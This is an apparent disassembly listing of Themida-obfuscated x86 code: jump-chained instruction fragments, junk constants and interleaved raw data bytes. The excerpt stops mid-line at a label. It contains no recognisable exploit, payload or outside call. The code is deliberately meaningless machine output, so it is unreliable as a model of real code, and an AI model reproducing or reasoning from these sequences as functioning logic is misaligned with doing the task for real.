0FFE8DAE9h, 747FBDFFh, 3DE97464h dd 80FFFFD6h, 0C5FEFFEDh, 5837E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F8D2: ; CODE XREF: Themida_:0055428Dj add edx, 34FE5E9Ch add edx, ecx jmp loc_554947 ; --------------------------------------------------------------------------- loc_54F8DF: ; CODE XREF: Themida_:00549E2Cj mov edi, ebp push edi pop eax mov edi, [esp] jmp loc_545D36 ; --------------------------------------------------------------------------- loc_54F8EB: ; CODE XREF: Themida_:00545A50j push edi push dword ptr [esp+4] jmp loc_546C48 ; --------------------------------------------------------------------------- loc_54F8F5: ; CODE XREF: Themida_:00555905j push esp pop edx push edi mov edi, 6C0B1C02h jmp loc_54BE14 ; --------------------------------------------------------------------------- dw 4C29h dd 81590824h, 4ECh, 24348900h, 387D77BEh, 2474011Eh, 348B5E08h dd 4C48124h, 0FF000000h, 0E95B2434h, 72F0h, 2E78E953h dd 28F0000h, 0FF2DD3E9h, 81E189FFh, 4C1h, 7B35E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F946: ; CODE XREF: Themida_:00557575j sub ecx, 61BC7A41h jmp loc_542DA1 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 9D671DB9h, 3B01E94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F95E: ; CODE XREF: Themida_:00553AC7j add esp, 4 xchg ebp, [esp] mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_54270C ; --------------------------------------------------------------------------- db 8Bh dd 0FCE9240Ch, 35FFFFD6h, 6B4BBA84h, 40E9C101h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F987: ; CODE XREF: Themida_:0054E01Bj xor ebx, ecx jmp loc_553ECC ; --------------------------------------------------------------------------- dw 0FBBFh dd 292D3F68h, 0B44CE9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F99A: ; CODE XREF: Themida_:00545909j push 16AAh mov [esp], ebx jmp loc_551098 ; --------------------------------------------------------------------------- loc_54F9A7: ; CODE XREF: Themida_:005548CFj mov esi, 4 sub ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] jmp loc_547D93 ; --------------------------------------------------------------------------- loc_54F9BA: ; CODE XREF: Themida_:005565D5j sub esi, 4 push esi push dword ptr [esp+4] jmp loc_548C26 ; --------------------------------------------------------------------------- db 5Ah dd 0EA41E950h, 0E801FFFFh, 1408BA52h, 11E93595h, 5FFFFF6Eh dd 9693EE81h, 50E9B9B8h, 81FFFF30h, 4C4h, 240C8B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5499F8 ; --------------------------------------------------------------------------- dd 0E9E08950h, 0FFFF3E43h ; --------------------------------------------------------------------------- loc_54FA10: ; CODE XREF: Themida_:0054AD99j push esi mov esi, 4D525D5Ch mov edx, esi pop esi sub edx, 6A341E90h and edx, 291409D7h shl edx, 4 jmp loc_55448F ; --------------------------------------------------------------------------- db 31h, 14h, 24h dd 8B241433h, 8B662424h, 69682404h, 89000073h, 0E189240Ch dd 8904EC83h, 53BB241Ch, 814B6718h, 0C35406CBh, 0C3BF5704h dd 956F024h, 8012E9FBh, 2C89FFFFh, 8BB85024h, 55764045h dd 0FF2E4BE9h, 240C89FFh, 0B8505954h, 741A0794h, 0C531E831h dd 0DDF7E831h, 0E9D8F795h, 0FFFF7E1Ah, 0E97EB1B8h, 58C20128h dd 0FF8FEAE9h, 0FFFFBEFFh, 4DE9FFFFh, 59000067h, 5E21F681h dd 504E3804h, 2A522DB8h, 7208E9A6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FAB6: ; CODE XREF: Themida_:00551918j add edx, edi pop edi push eax mov eax, 4C644D54h push ebx mov ebx, 4C644D56h xor eax, ebx mov ebx, [esp] add esp, 4 sub edx, 13C07F66h jmp loc_547FB6 ; --------------------------------------------------------------------------- loc_54FADB: ; CODE XREF: Themida_:00557172j add ecx, eax sub ecx, 30E63D95h add ecx, 2C564819h mov eax, [esp] add esp, 4 add ecx, 4 jmp loc_54B7DF ; --------------------------------------------------------------------------- dw 487h dd 0ABA5E924h, 4BDFFFFh, 81000000h, 3D3EA8C7h, 81EF2941h dd 3D3EA8EFh, 3C335D41h, 243C3124h, 8B243C33h, 1C892424h dd 4BB24h, 0D8010000h, 2BA525Bh, 5000000h, 1B075D64h, 642DD029h dd 0FF1B075Dh, 148B2434h, 4C48324h, 4C481h, 77E90000h dd 5E000074h, 0FF856EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FB59: ; CODE XREF: Themida_:0054B6FEj add esp, 4 mov edx, esi pop esi and eax, edx push dword ptr [esp] mov edx, [esp] push ebx push esp pop ebx push edi mov edi, 4D3F1706h jmp loc_550199 ; --------------------------------------------------------------------------- dd 3505E8C1h, 0DD116BA9h, 48BC201h, 4C48124h, 0E9000000h dd 0FFFFC0C7h, 1ABC181h, 8950405Fh, 15BF57E0h, 0E92A3073h dd 0FFFFB5DCh, 0FF24248Bh, 0E99C2404h, 0FFFFF092h, 0EA2A92B8h dd 7BD4E946h, 0F181FFFFh, 5F291DBEh, 0E959CD29h, 2BFAh dd 60BCBB53h, 0EB8167A7h, 0FFFFFFFFh, 48B6BA52h, 2FE96203h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FBDF: ; CODE XREF: Themida_:00554AABj mov esi, 460010FEh neg esi or esi, 53265E15h and esi, 553A1BA0h dec esi not esi push 63F7h mov [esp], edx mov edx, 0AEC5DD00h sub esi, 4520760h sub esi, 7CF66DFEh sub esi, edx add esi, 7CF66DFEh add esi, 4520760h jmp loc_5547A2 ; --------------------------------------------------------------------------- db 81h, 0F6h, 0CEh dd 29A16675h, 0E9535EF2h, 0FFFF8023h, 5B2434FFh, 81E28952h dd 4C2h, 4BF5700h, 83000000h, 1C8904ECh, 43B6BB24h, 0DA010C7Bh dd 81FA015Bh, 7B43B6EAh, 14875F0Ch db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5523DE ; --------------------------------------------------------------------------- loc_54FC72: ; CODE XREF: Themida_:005486FCj push edx mov edx, 1D0A0966h neg edx or edx, 2A710BC5h jmp loc_553470 ; --------------------------------------------------------------------------- db 53h, 0E9h, 0Ch dd 0FFFFFF91h, 669D1C77h, 14D36659h, 71E99C24h db 2Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FC9B: ; CODE XREF: Themida_:0054AD22j add al, 0A5h sub al, dh jmp loc_543AFD ; --------------------------------------------------------------------------- loc_54FCA4: ; CODE XREF: Themida_:00548B06j add edi, 59FA788Eh mov ecx, edi jmp loc_544647 ; --------------------------------------------------------------------------- db 81h, 0F5h, 1Ah dd 11A7B64h, 0C6015DEEh, 27BDEE81h, 0C6811EFAh, 44353508h dd 98BD5558h, 81552E14h, 8813BECDh, 5500E95Ch, 2C890000h dd 3F84E924h, 0C8000000h, 592434FFh, 81E18951h, 4C1h, 4C18300h dd 5C240C87h, 0E95DEB80h, 0FFFF3952h, 50158BBFh, 5FF82900h dd 0BCE9C329h db 33h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FD0F: ; CODE XREF: Themida_:00556ED6j pop ecx movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] pop eax push esi jmp loc_5431FD ; --------------------------------------------------------------------------- loc_54FD23: ; CODE XREF: Themida_:0054F5B4j pop edi add dword ptr [esp+4], 6E3961DDh add [esp+4], eax push eax push 6E3961DDh pop eax jmp loc_54B3E9 ; --------------------------------------------------------------------------- loc_54FD3C: ; CODE XREF: Themida_:0054C049j push esi push esp jmp loc_54337D ; --------------------------------------------------------------------------- aSjt db ']é†T',0 db 0 ; --------------------------------------------------------------------------- loc_54FD49: ; CODE XREF: Themida_:0055063Cj and ecx, ebp push dword ptr [esp] pop ebp push 7CF6h mov [esp], edx mov edx, esp push ecx mov ecx, 25D532CAh sub ecx, 25D532C6h add edx, 43EE71D2h jmp loc_556125 ; --------------------------------------------------------------------------- aGsK db 'Gé¼K',0 align 2 dw 66BBh dd 29F998E0h, 0F8015BDFh, 55C8295Fh, 3A490ABDh, 6B70508h dd 27E9052Fh, 5BFFFF9Bh, 5C24048Fh, 0F66E1F6h, 6866CCB6h dd 89666931h, 0F66240Ch, 5166C8B6h, 295AE99Ch, 0C105FFFFh dd 161E605h, 87E958C2h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FDBF: ; CODE XREF: Themida_:00550E9Dj sub dword ptr [esp+4], 21760DF2h sub dword ptr [esp+4], 6C20224Ah jmp loc_5484D3 ; --------------------------------------------------------------------------- loc_54FDD4: ; CODE XREF: Themida_:0054F391j sub ecx, 543D5A2Dh or ecx, 1242329Eh push 6CC6h mov [esp], edi mov edi, 0D80DB701h sub ecx, edi jmp loc_556A76 ; --------------------------------------------------------------------------- loc_54FDF4: ; CODE XREF: Themida_:00555B2Bj pop eax add edx, 4 xchg edx, [esp] jmp loc_551290 ; --------------------------------------------------------------------------- dd 0C281F229h, 593B4674h, 3050C281h db 0DEh, 76h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_54B5A3 ; --------------------------------------------------------------------------- loc_54FE20: ; CODE XREF: Themida_:0054AAC2j push edi push dword ptr [esp+4] jmp loc_543609 ; --------------------------------------------------------------------------- dw 0C281h dd 6F317975h, 164CE9h, 3DEA6800h, 3EE96B4Fh db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FE3F: ; CODE XREF: Themida_:0054E62Dj sub bl, 98h and cl, bl jmp loc_549758 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 8124248Bh, 4C5h, 242C3300h, 33242C31h, 315C242Ch, 0CDE92404h dd 21FFFF34h, 0E6C159CEh, 0A2E68107h, 81778C34h, 880FFCEEh dd 40AFE901h, 0E951FFFFh, 0FFFF40B0h, 0C8B665Ch, 0D166824h dd 34890000h, 50E68924h, 4B8h, 58C60100h, 5604EE83h, 42474FFh dd 0E92434FFh, 0FFFF81E6h, 5585450h, 4, 42Dh, 24048700h dd 3F67E9h, 4C7B3500h, 48407C5Ah, 280DE9h, 2474FF00h, 48F5D04h dd 2F87E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FEDA: ; CODE XREF: Themida_:0055797Bj mov edi, 1DD21B0Ch jmp loc_547C6F ; --------------------------------------------------------------------------- dd 8102E1C1h, 914B10F1h, 0E9D1F71Ah, 787Ch ; --------------------------------------------------------------------------- loc_54FEF4: ; CODE XREF: Themida_:00542A32j push ecx mov ecx, 7EDA17FEh sub ecx, 0DBF5391h sub ecx, 10260C77h dec ecx push esi mov esi, 7C6C1074h or ecx, esi pop esi sub ecx, 6950E0h and edx, ecx jmp loc_54C823 ; --------------------------------------------------------------------------- db 81h, 0F5h, 0 dd 21354A0Eh, 242C8BEFh, 0EC2E9h, 5DEF2900h, 565FFB01h dd 926E9h, 24048F00h, 4240481h, 5D000000h, 33E9h, 8BF90100h dd 0C483243Ch, 74FF5104h, 8F590424h, 0CBE92404h, 81FFFF5Dh dd 0AE59B6C2h, 34ADE976h, 12C0000h, 0E903E8C0h, 0FFFFF6B1h dd 0E9028F64h, 0FFFF2790h, 4C581h, 53520000h, 661806BBh dd 34E3813Ah, 562E9E67h, 0DF76F7BEh, 0EE814601h, 1, 6BFBEE81h dd 0F329EFA6h, 81D3F75Eh, 0F506AAE3h, 0FCC38127h, 0E93A7620h dd 32DFh ; --------------------------------------------------------------------------- loc_54FFB8: ; CODE XREF: Themida_:0054BE07j add ebp, ecx mov ecx, [esp] add esp, 4 or ebx, ebp pop ebp shr ebx, 3 push 24D5h mov [esp], esi push ebx mov ebx, 134E5F4Ah mov esi, 5000C4B6h sub esi, 6E9E42E0h sub esi, ebx add esi, 6E9E42E0h pop ebx sub esi, 47D84D10h xor ebx, esi mov esi, [esp] add esp, 4 sub [edi+24h], ebx mov ebx, [esp] push ecx jmp loc_54C1E1 ; --------------------------------------------------------------------------- db 0E9h, 2, 27h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55000A: ; CODE XREF: Themida_:0054291Ej or ch, al pop eax push ebx mov bl, 94h jmp loc_54B27A ; --------------------------------------------------------------------------- db 0B9h, 0AFh, 71h dd 0C9814C0Ch, 35453E7Fh, 1A6BC981h, 0E1811070h, 23656520h dd 31A0E941h, 89500000h, 4EC81E0h, 89000000h, 0E953243Ch dd 0FFFFDE07h, 8103E6C1h, 8C7A84C6h, 6AE3E977h, 0ED810000h dd 70840BCh, 8108EDC1h, 0EE38F2F5h, 5DEB297Ah, 0FF6D41E9h dd 415368FFh, 14890000h, 0E93CB624h, 0FFFF918Dh, 5258E130h dd 0F788CE88h, 5A2434FFh, 0FF3DBAE9h, 81DFF7FFh, 437B79E7h dd 0B951503Eh, 234A01ECh, 0C17F21B8h, 59C8292Ah, 0C956920Dh dd 7E732D25h, 0A8053212h, 2158755Ah, 24048BC7h, 4C481h dd 0F7810000h, 309E0067h, 0B6E95356h db 35h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5500C7: ; CODE XREF: Themida_:0054C586j mov eax, [esp] jmp loc_552A4D ; --------------------------------------------------------------------------- loc_5500CF: ; CODE XREF: Themida_:0054C914j pop ecx sub ebp, esi jmp loc_544212 ; --------------------------------------------------------------------------- db 1 dd 0F4EE81EEh, 0E908B875h, 4330h, 0E1E9FD29h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5500EB: ; CODE XREF: Themida_:0055220Ej push esp jmp loc_5450F7 ; --------------------------------------------------------------------------- db 5, 0D6h, 8 dd 5405359h, 0A19A0E4h, 158C729h, 5DC781CFh, 813AB151h dd 0E65E8EC7h, 240C8B7Ah, 0E904C483h, 0FFFF5301h, 5559CB09h dd 4EC81h, 14890000h, 278AE924h, 0C1830000h, 74FF5104h dd 0C8B0424h, 4C48324h, 0FF9775E9h, 0A8BD55FFh, 0F73DE177h dd 21A4E9D5h, 0C3810000h, 4, 5C241C87h, 75F9E955h, 34FFFFFFh dd 2434FF24h, 4C48359h, 64AFE9h, 32EB8100h, 687EEE6Fh dd 2825h, 0E9240C89h, 4DF5h ; --------------------------------------------------------------------------- loc_55017C: ; CODE XREF: Themida_:00555D4Bj xor ebx, 0A1439D10h sub edi, ebx pop ebx mov ecx, [esp] push ecx jmp loc_55318A ; --------------------------------------------------------------------------- dw 0ED81h dd 175235E1h, 0FF2DB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_550199: ; CODE XREF: Themida_:0054FB73j or edi, 72801074h sub esp, 4 mov [esp], edx mov edx, 2A9F5225h xor edx, 23516FA3h and edx, 6C80214Bh xchg ebp, edx dec ebp xchg ebp, edx not edx not edx add edx, 49231B9Ah jmp loc_555185 ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 0C1h dd 0EAC108E2h, 0A0EA8103h, 817D0C36h, 0F43252CAh, 38EA8163h dd 31954D4Fh, 0DA895AD3h, 81241C8Bh, 4C4h, 0B2C58100h dd 1432A28h, 0B2ED81D5h, 8B432A28h, 0C4812414h, 4, 1DDBE955h dd 4BBA0000h, 0BE721C07h, 0B6EFF8C3h, 3EE9D601h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550223: ; CODE XREF: Themida_:00556A71j pop ebp push edx mov edx, 30A95A40h jmp loc_5578D1 ; --------------------------------------------------------------------------- db 54h dd 4C3815Bh, 55000000h, 4BDh, 5DEB0100h, 8B241C87h, 68662424h dd 8966746Fh, 6B68241Ch, 89000027h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5562BE ; --------------------------------------------------------------------------- dw 0C681h dd 5FCC440Ah, 0FFE0E2E9h, 240C89FFh, 42CD68h, 24248900h dd 0FF84DCE9h, 60EE81FFh, 0E9077A74h, 73C3h, 0E9240C31h dd 0FFFF5115h ; --------------------------------------------------------------------------- loc_55028C: ; CODE XREF: Themida_:00547B6Cj mov ecx, 0BBC24BCh jmp loc_543FA3 ; --------------------------------------------------------------------------- dw 0CD01h dd 5DEA2959h, 3AE5C281h, 0C2812228h, 0FEF72A32h, 342CE9h dd 4C48100h, 81000000h, 4C4h, 69506800h, 34890000h, 3F7BE24h dd 8768214Fh, 8900000Ch, 14F72434h, 24348B24h, 51FEE956h dd 0A6BDFFFFh, 0E9156616h, 0FFFFB938h, 0E958C601h, 0FFFFC56Ah dd 54241C89h, 81241C8Bh, 4C4h, 4C38100h, 0E9000000h, 0FFFF83C3h dd 0C960E958h, 8B5DFFFFh, 0C481242Ch, 4, 4C581h, 0BA520000h dd 2, 34FFD501h, 24148B24h, 5704C483h, 0FFCA83E9h, 5EF121FFh dd 26C1C981h, 504933A8h, 0D4E9E089h, 53FFFF4Fh, 6D669FBBh dd 8BDA310Dh, 0C483241Ch, 0F7D2F704h, 32C281D2h, 578BD587h dd 0FD1040BFh, 0F7C78118h, 1355360h, 7523E9FEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55036E: ; CODE XREF: Themida_:00542B31j sub al, dh pop edx jmp loc_54A768 ; --------------------------------------------------------------------------- loc_550376: ; CODE XREF: Themida_:00552829j add edi, 2C483588h shr edi, 2 push esi push 7D4Bh mov [esp], edi mov edi, 6A870459h mov esi, 399E23h sub esi, edi jmp loc_54AEAF ; --------------------------------------------------------------------------- loc_550399: ; CODE XREF: Themida_:00546813j test ecx, eax pushf jmp loc_54270C ; --------------------------------------------------------------------------- db 83h, 0C2h, 4 dd 5C241487h, 0E8E9D001h, 6600000Dh, 0E924048Bh, 0FFFF9190h ; --------------------------------------------------------------------------- loc_5503B8: ; CODE XREF: Themida_:0054ED0Fj pop ecx jmp loc_55587C ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFF91C8h, 2BC8E95Bh, 0CBB1FFFFh, 0F7809DB7h, 0F6CFFED6h dd 80CFFED7h, 77E969E7h, 0B8FFFFD1h, 74E81604h, 0E958C721h dd 0FFFF459Eh, 0A0136855h, 15DEBD0h, 242C8BEAh, 104C483h dd 4791E9D0h, 0E281FFFFh, 0A1647F0h, 3DBAC281h, 0AEE92DE2h dd 81FFFF33h, 4C3h, 4C38100h, 87000000h, 815C241Ch, 4C6h dd 70E26800h, 14890000h, 2BA24h, 0D6010000h, 0EC69E95Ah dd 0C781FFFFh, 444B4947h, 0CA69F781h, 0F80168D5h, 2404875Fh dd 1A13685Ch, 3C890000h, 14685624h, 5E3EAB0Ah, 48B5E9h dd 24440100h, 8E95804h db 6Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55046F: ; CODE XREF: Themida_:005431B8j sub esp, 4 mov [esp], ecx mov cx, 1A73h sub cx, 34Fh shl cx, 5 push bp push small 39B2h pop bp push edi mov di, 644Eh neg di shl di, 3 jmp loc_54603D ; --------------------------------------------------------------------------- dw 0D2F7h dd 4DFFEA81h, 54E92C04h, 66FFFF34h, 0F6DC8850h, 66E388D4h dd 22B65258h, 8069CE80h, 0CE80AAF6h, 4FD2E9DEh, 0F781FFFFh dd 22EF56F9h, 4B5FFB29h, 12DDF381h, 79E97521h db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5504DB: ; CODE XREF: Themida_:0054C734j sub ebp, 560112D8h push eax jmp loc_55728E ; --------------------------------------------------------------------------- db 0FFh a4XqissN db '4$XQ‰áéÝn',0 dw 0C100h dd 494908E9h, 0FF4D19E9h, 51E689FFh, 0FF7EF5E9h db 0FFh ; --------------------------------------------------------------------------- loc_550505: ; CODE XREF: Themida_:00544642j pop esi xor eax, ecx mov ecx, [esp] add esp, 4 push ebp push edi mov edi, esp push esi mov esi, 4 add edi, esi mov esi, [esp] jmp loc_55615C ; --------------------------------------------------------------------------- loc_550525: ; CODE XREF: Themida_:005478C3j xor [esp], edx xor edx, [esp] mov esp, [esp] push eax mov eax, 4591CFFh add eax, 6AE4F506h sub esi, eax mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi pop eax pop esi jmp loc_547498 ; --------------------------------------------------------------------------- loc_550551: ; CODE XREF: Themida_:0054C327j add ebx, ecx sub ebx, 64EA5D95h pop ecx xchg ebx, [esp] mov esp, [esp] jmp loc_54270C ; --------------------------------------------------------------------------- loc_550565: ; CODE XREF: Themida_:0054A7E8j not ebx add ebx, 3BE844E9h add eax, ebx push dword ptr [esp] jmp loc_54B141 ; --------------------------------------------------------------------------- db 89h dd 75BF59C8h, 0E94BB9BEh, 11DAh, 0E9E68956h, 0FFFF22F3h ; --------------------------------------------------------------------------- loc_55058C: ; CODE XREF: Themida_:0054D89Ej mov [esp], esp add dword ptr [esp], 4 pop ebp push ecx mov ecx, 4 add ebp, ecx mov ecx, [esp] add esp, 4 push ecx push edi push 6A880E66h pop edi jmp loc_54961A ; --------------------------------------------------------------------------- db 83h dd 8B042404h, 0C483241Ch, 59726804h, 4890000h, 4EC8124h dd 89000000h, 3BE92434h, 80FFFF76h, 0F58032E5h, 8DB64Ch dd 0C68059EEh, 2BC3E9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5505E2: ; CODE XREF: Themida_:005480C2j add esp, 4 push ebp jmp loc_5516B8 ; --------------------------------------------------------------------------- loc_5505EB: ; CODE XREF: Themida_:005455ECj pop ebx push esi mov esi, 2C2C3E45h jmp loc_54A80A ; --------------------------------------------------------------------------- loc_5505F7: ; CODE XREF: Themida_:00548A0Bj add ecx, edi jmp loc_55324E ; --------------------------------------------------------------------------- dw 8957h dd 4C781E7h, 83000000h, 3C8704EFh, 1C895C24h, 4EC8124h dd 89000000h, 0D8E92424h, 4FFFFA2h, 0E9B92CC2h, 0FFFF75AFh ; --------------------------------------------------------------------------- loc_550628: ; CODE XREF: Themida_:005460FEj mov eax, 25E00B2Eh not eax add eax, 73664BD6h sub eax, 5D539B66h sub ebp, eax pop eax jmp loc_54FD49 ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 53h dd 1D29E9h, 24148B00h, 4C481h, 0BD550000h, 230563D1h, 1849F581h dd 0ED8147CDh, 20606DEBh, 2C8BEB01h, 4C48124h, 29000000h dd 0ADEB81CBh, 5944680Dh, 17A3EB81h, 0A1E9502Dh, 6600000Fh dd 0B2EA8059h, 0F603EAC0h, 4EC81DAh, 89000000h, 7FB5240Ch dd 0FF5365E9h db 0FFh ; --------------------------------------------------------------------------- loc_55069D: ; CODE XREF: Themida_:0054B2A4j xor [ecx], ebx pop ecx mov ebx, [esp] add esp, 4 jmp loc_556A5F ; --------------------------------------------------------------------------- db 68h dd 37C5h, 31C0E9h, 81D62900h, 960188EEh, 81565A2Dh, 5F132404h dd 0B5E90244h, 5AFFFF56h, 0D187D2F7h, 76E98149h, 682E212Ch dd 34h, 0B8240489h, 5A796739h, 0CE35D8F7h, 4023C562h, 0BA52h dd 0C2290000h, 6234E9h, 243C8B00h, 4C481h, 0F2810000h dd 720D2D3Fh, 56E9D301h, 66000054h, 0E9240C8Bh, 0FFFF84DEh dd 4246C01h, 4246C81h, 2DEC0860h, 0FFADACE9h db 0FFh ; --------------------------------------------------------------------------- loc_550729: ; CODE XREF: Themida_:005521E0j mov [esp], ebp jmp loc_552BE7 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 81000000h, 4EBh, 74FF5300h, 0F3E90424h, 89FFFF24h, 4812424h dd 424h, 0B8505900h, 6AB27541h, 6C74E405h, 0D2F7927Fh dd 0AC18E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx jmp loc_54BDBC ; --------------------------------------------------------------------------- dd 240C8B66h, 68E08950h, 2090h, 0BA241489h, 619C722Bh dd 19EAE281h, 814262CDh, 423052C2h, 9AE2810Dh, 81104A74h dd 37781AC2h, 2EEA815Fh, 0E95F81B8h, 141Dh, 240C8B66h dd 69E268h, 24148900h, 0FF458DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5507C5: ; CODE XREF: Themida_:0054D013j not ebx dec ebx shr ebx, 3 xor ebx, 52F2570Fh jmp loc_555D45 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 5243E9h db 0 ; --------------------------------------------------------------------------- loc_5507E1: ; CODE XREF: Themida_:0054AF18j push ecx mov ecx, 1 jmp loc_556926 ; --------------------------------------------------------------------------- dd 214A31B9h, 0F1814177h, 297C629Dh, 64A5F181h, 81416A06h dd 5B4C0FF1h, 59CF8934h, 565FFB01h, 4BEh, 8BF30100h, 4BE92434h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_55081B: ; CODE XREF: Themida_:0054CC82j push ecx push esp pop ecx push edx mov edx, 57334458h sub edx, 518D0BDFh add edx, 0FA59C78Bh add ecx, edx mov edx, [esp] add esp, 4 jmp loc_5532EA ; --------------------------------------------------------------------------- dd 8305EAC1h, 0E957FFC2h, 0FFFFE9DBh, 7450BE56h, 0D6F72D2Ah dd 67C4B850h, 9BE962B4h, 57FFFFADh, 643AFBFh, 58575027h dd 48BC689h, 4C48324h, 2E1CE95Fh, 8F590000h, 248B2404h dd 5988E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550882: ; CODE XREF: Themida_:00544C72j push ebx push ebp mov ebp, 38E4A5Ch shr ebp, 2 or ebp, 694939DFh xor ebp, 8E14339h sub ebp, 375D2468h sub ebp, 29ADD47Dh mov ebx, ebp jmp loc_5461C8 ; --------------------------------------------------------------------------- aMssr db '¬é˜r',0 dd 21DBD00h, 0ED8159B5h, 2DFCD25Ch, 0E95DEF01h, 55CFh dd 0C5814D58h, 30DC3E7Dh, 712ACD81h, 814D5BB3h, 0EA0A9FF5h dd 0CCC58153h, 0E957A60Ah, 0FFFFEAFEh, 654D30BBh, 0E9D9897Fh dd 4E5h ; --------------------------------------------------------------------------- loc_5508F0: ; CODE XREF: Themida_:00552CC2j xor dword ptr [esp], 0DEE7CA2h pop dword ptr [edi+20h] push ebx push ecx mov ecx, 0DEE7CA2h push ecx pop ebx pop ecx push ecx push ebp push ecx push eax jmp loc_544D29 ; --------------------------------------------------------------------------- loc_55090D: ; CODE XREF: Themida_:00553213j add esi, 4 jmp loc_549A1D ; --------------------------------------------------------------------------- dd 8B66F020h, 0C4812414h, 2, 2FDF68h, 2339E900h, 4050000h dd 2D000000h, 2, 2EEBE9h db 0 ; --------------------------------------------------------------------------- loc_55093D: ; CODE XREF: Themida_:00547353j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_553CB4 ; --------------------------------------------------------------------------- dd 7FBF381h, 25E96E32h, 0E9FFFFE0h, 0FFFF1DB0h, 0CC8BA52h dd 0EA810C85h, 47C26D1Ch, 8106EAC1h, 0C9B325EAh, 3F9BE99Dh dd 91E90000h, 29FFFF1Dh, 87B951D3h, 0E970D05Ch, 0FFFFB4A3h ; --------------------------------------------------------------------------- loc_550988: ; CODE XREF: Themida_:00546F43j pop dword ptr [esp] pop esp or edx, eax shl edx, 1 push dword ptr [edi+24h] push 177Ah mov [esp], ebp sub esp, 4 jmp loc_548C1E ; --------------------------------------------------------------------------- db 0FFh dd 0E9042474h, 1DD7h ; --------------------------------------------------------------------------- loc_5509AC: ; CODE XREF: Themida_:0054C7C8j xchg ebx, [esp] pop esp sub eax, 665A3CF4h jmp loc_5518E6 ; --------------------------------------------------------------------------- loc_5509BA: ; CODE XREF: Themida_:0054651Fj add esi, 6C761397h pop edx push edi mov edi, 4 sub esi, edi push dword ptr [esp] jmp loc_54B411 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 242C895Ch, 1B086852h, 815A4C7Ch, 83E4FCC2h, 8BD589B3h dd 0C4832414h, 2EE95304h db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5509F3: ; CODE XREF: Themida_:005561B7j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_557707 ; --------------------------------------------------------------------------- dw 0C483h dd 15EF8104h, 149F935h, 96A8E9C7h, 5152FFFFh, 8853F988h dd 1F91E9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550A1E: ; CODE XREF: Themida_:00552B98j pop dword ptr [esp] pop esp jmp loc_548B6C ; --------------------------------------------------------------------------- db 5Ah dd 0EC5EE958h, 1487FFFFh, 6177E924h, 78BE0000h, 815F700Fh dd 0AA0152C6h, 0C019E926h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550A46: ; CODE XREF: Themida_:00553397j dec esi push esi jmp loc_549BC0 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd offset dword_450050+32F99h dd 0B8C38100h, 29391E21h, 0B8EB81F3h, 5E391E21h, 835BDA01h dd 3C8904ECh, 8051E924h, 5558FFFFh, 621B1DBDh, 0CD81454Ah dd 58F341C1h, 814DD5F7h, 0D57E85EDh, 5DE8016Bh, 7E95140h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550A93: ; CODE XREF: Themida_:0055180Aj push dword ptr [esp+4] pop edi pop dword ptr [esp] pop ebx push ebx jmp loc_54EDEF ; --------------------------------------------------------------------------- loc_550AA2: ; CODE XREF: Themida_:00552466j mov [esp], esi mov esi, 0A423E47h and eax, esi pop esi xor eax, 3401h sub ebp, 4133481Ch sub ebp, 4B98000Fh jmp loc_557595 ; --------------------------------------------------------------------------- db 0ADh dd 4EC8350h, 68243C89h, 3F61BDDh, 56243C8Bh, 5152E689h dd 274E1EB9h, 19F1817Ah, 5048DC5Fh, 0D6684B8h, 2EE95257h dd 88FFFF24h, 5BFC88D7h, 1AC4805Ah, 48BE128h, 5CEEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550B02: ; CODE 